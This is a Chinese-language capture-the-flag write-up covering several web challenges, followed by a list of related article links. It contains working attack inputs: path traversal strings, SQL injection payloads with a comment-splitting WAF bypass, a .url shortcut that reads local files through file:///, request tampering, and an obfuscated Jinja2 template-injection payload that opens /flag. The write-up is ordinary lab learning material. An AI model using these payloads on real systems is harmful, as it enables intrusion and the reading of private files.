当前位置: 首页 > news >正文

Top10大考察

好多功能啊,都想试试

功能URL说明
主页home.php显示我的笔记列表
新建笔记note.php创建/查看/删除笔记,参数 ?id=N
搜索search.php搜索笔记,参数 ?q=keyword,提示"已启用WAF"
文件上传upload.php上传图片或 .url 文件
文件分享share.php查看已上传文件内容,参数 ?file=path

尝试路径遍历

share.php?file=../../../flag.txt,返回:

路径遍历攻击已被拦截!

尝试 ....//、%2e%2e%2f 等 bypass 均被拦截

尝试sql

提示"已启用 WAF 防护"。测试:

- ' OR 1=1-- - → 返回空结果(无报错,可能参数化查询或被过滤) - ' UNION SELECT 1,2,3-- - → WAF拦截! - UN/**/ION SEL/**/ECT → 绕过WAF但依然空结果

尝试SSTI

{{7*7}}原样显示

尝试文件上传

仅允许上传 jpg/jpeg/gif/png 图片和 .url 快捷方式文件。图片上传检验 MIME 类型。

.url 文件格式是Windows快捷方式文件

[InternetShortcut] URL=file:///flag

访问 share.php?file=uploads/{hash}.url,返回:

<pre>flag{SSRF_WAF_Byp4ss_Curl_Url_2026Summer}</pre>

偷吃蟠桃

小游戏玩一下,第二关要1000000分才能拿flag,但总分全拿到也没这么多

查看源代码,找到传参格式

我们POST

score=1000000&level=2&passed=1

拿到flag

狗黑子的股市之路

抓包看看,设置负数没反应,repeat重新发包金额也不变

扫目录发现有flag.php能兑换flag但提示资金不足

不过抓flag.php兑换flag的包发现post传参check=no

改成check=yes就拿到flag了

路飞的HTTP协议冒险

第一关要吃肉,点击一次吃一块

抓包改meat=999就ok

然后第二关说

香克斯:路飞,你需要获得橡胶(rubber)的力量(power)才可以变强。

半天想不出来是什么

应该是get请求

/devil_fruit.php?power=rubber

进入下一关

血液流速: 过低 ✖ 限制器状态: 未解除 ✖

拿hint

罗宾:路飞,你需要让血液(blood)加速(boost),并将身体机能的限制(limit)解除(unlock)来进入二档打败cp9.

post传参

blood=boost&limit=unlock

提示二档开启成功

进入下一关

拿hint

弗兰奇:路飞,男人就该用点“特别的方式”沟通!比如带上值为 BoneInflate的请求头X-Luffy-Gear3.

加http头

X-Luffy-Gear3: BoneInflate

进入下一关,拿hint

雷利:路飞,修行的证明,往往留在浏览器里。你需要gear4和Trainer的认证,记住,我是海贼王罗杰的副手Rayleigh,期待着你化身BoundMan的模样

认证?抓包看看没有东西,加个cookie试试

gear4=BoundMan; Trainer=Rayleigh

进入最后一关

在甚平的注视下,你试图清除那段盘踞心底的战争阴影。 可这道封印并不像刀剑可斩、火焰可焚。 它仿佛在等待一种更“准确”的确认。 当前状态: 封印仍存在 ✖ 本次方式: GET 净化受阻 这道封印并不排斥你的到来,但它不会因旁观而消散。

hint

甚平:路飞,清除之前,先确认它仍是当前状态。否则,这道封印不会接受你的请求。

不知道改干嘛了

注意到回显中有本次方式:GET

改成POST请求,回显也相应变成POST

那换成DELETE呢?

当前状态: 封印仍存在 ✖ 本次方式: DELETE 条件确认: 缺失 ✖ 净化失败 甚平低声道:真正的斩断,不是盲目出手。先确认你面对的,正是当前这一道封印。

要确认面对的是当前这一道封印...

换成PUT

方式错误 你尝试了某种方式,但这道封印并不会对此作出回应。

其他的请求方法也都一样

其实问题出在响应头

Etag: "seal-memory-v1"

Etag通常用来作为当前资源的实体标签(需要用来确认状态)

结合要确认你面对的正是这一道封印

需求对应的请求头
确认资源没变再读取If-None-Match
确认资源没变再修改/删除If-Match
确认资源没变再读取(时间版)If-Unmodified-Since

使用If-Match

If-Match: "seal-memory-v1"

请求方法设为DELETE

flag{15b606dc5a9492c260984aa627338bfd}

dariy

首页好大的字

Record your thoughts with our fancy template system

直接七七四十九发现成功

尝试拿flag,有waf

paylaod

{{ (url_for|attr('\x5f\x5fglobals\x5f\x5f'))['sys'].modules['builtins']|attr('open')('/flag')|attr('read')() }}

构造思路:

我先测了 {{url_for}},能正常回显,说明它可以当跳板。

然后用 attr 过滤器去读它的globals

{{url_for|attr('\x5f\x5fglobals\x5f\x5f')}}

http://www.jsqmd.com/news/1092150/

相关文章:

  • 从工具函数中注入消息
  • Python自动化工具:5分钟快速创建Gmail账号的完整指南
  • 【保姆级教程】小米6X编译LineageOS 20.0完整指南(Android 13)
  • 从高斯光学到凸轮曲线:机械补偿式三组元连续变焦系统设计全流程解析
  • 错误码429频发?OpenAI官方文档未明说的限流逻辑,如何用3种动态退避策略实现零失败调用,
  • HarmonyOS NEXT 实战:RelativeContainer 百分比/比例定位全面指南
  • 二维数组知识
  • DIN EN ISO 5084
  • 3D Web 服务器环境搭建
  • Android 17 新特性全览
  • SpringBoot自动装配底层全流程
  • Agent的诞生(二):让模型开始调用工具
  • AES与Serpent对称加密算法:原理、对比与Python/Android/Qt实战
  • 为什么你用光模块测试FPGA IBERT不通
  • OneMore插件终极指南:如何用160+个强大功能彻底改造你的OneNote体验
  • GESP4级C++考试语法知识(一、指针(9、指针与函数调用)
  • 特殊上位机权限管理方案
  • AI插件开发实战:基于JS脚本的Illustrator色标生成器设计与实现
  • Matlab2020b 从零到一:一份详尽的个人安装与避坑指南
  • 今天发现采用360下载wps比网页版快多了,下载的是同一个版本。-但是重新安装了wps,还是有些卡顿,稍微好了一丢丢,这个到底什么原因?
  • 三角洲S10裂变新赛季上线[特殊字符]Mac玩家再也不用错过核电站新图!
  • SMUDebugTool完全指南:专业级AMD Ryzen处理器硬件调试工具深度解析
  • C# CAD二次开发消息提示技巧
  • 如何免费解锁Wand专业版:告别订阅费的终极指南
  • 抖音无水印下载器:三步免费保存高清视频的完整指南
  • TUSB4020B评估模块拆解:从电源设计到信号完整性,打造稳定USB集线器
  • 【技巧揭秘】告别LaTeX插图虚线阴影:从Visio到PDF的完美转换链
  • 开发了一个浏览器新标签页,欢迎大家体验
  • 如何通过R3nzSkin项目掌握游戏内存修改技术:5个实战应用场景解析
  • 从习题到实战:TCP拥塞控制与窗口机制深度解析